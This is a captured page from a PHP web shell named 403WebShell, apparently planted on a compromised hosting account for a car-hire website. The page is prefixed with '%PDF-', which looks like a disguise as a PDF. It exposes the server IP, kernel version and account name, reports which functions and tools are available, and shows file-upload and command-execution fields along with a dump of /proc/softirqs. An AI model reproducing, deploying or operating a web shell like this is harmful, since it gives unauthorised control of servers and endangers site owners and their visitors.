%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 3.144.19.172
Web Server : Apache
System : Linux web230.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          5          4          0          0          3          0          0          1          0          3          0          3          0          3          4          3
       TIMER:  578675178  390235377  574422429  374117519  549648316  360117015  551170221  348775191  550400524  336606414  529648239  330623391  518913006  326621863  512543391  320938961
      NET_TX:   11663871     125654    5724824     111441    6735043     117211    3807734     113855   22044425     121126    5013353     120902    2993040     113282   11821130     116758
      NET_RX: 2114455808     793500 4162600665     634981 3668665730     612159 3307366540     936683 1041730164     770145 2415132865     764596 1713078299     753876 1790935833     579876
       BLOCK:          0         19          0          2          0          7          0          9          0         11          0          7          0         35          0         15
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET: 4003062749      30077 1401559390      29927 1723584896      30046  584100859      29998 1185342287      29735  725728240      29906  682927243      29614 2421647731      29922
       SCHED: 1620867644 1065818715 1277356999  898860058 1243600286  849928961 1209242087  829307088 1213464113  814465757 1190410070  808969989 1188616368  803899555 1187351410  800609567
     HRTIMER:      24535         58      17555         57      60005         57      19208         50      30210         61      85158         48      34826         50      51349         51
         RCU: 2240248683 1649202819 2125804354 1446844391 2044014322 1391276509 2083798780 1368826880 2060855757 1348978129 1968927098 1341123089 2059587185 1346546411 2029966961 1340061491

Youez - 2016 - github.com/yon3zu
LinuXploit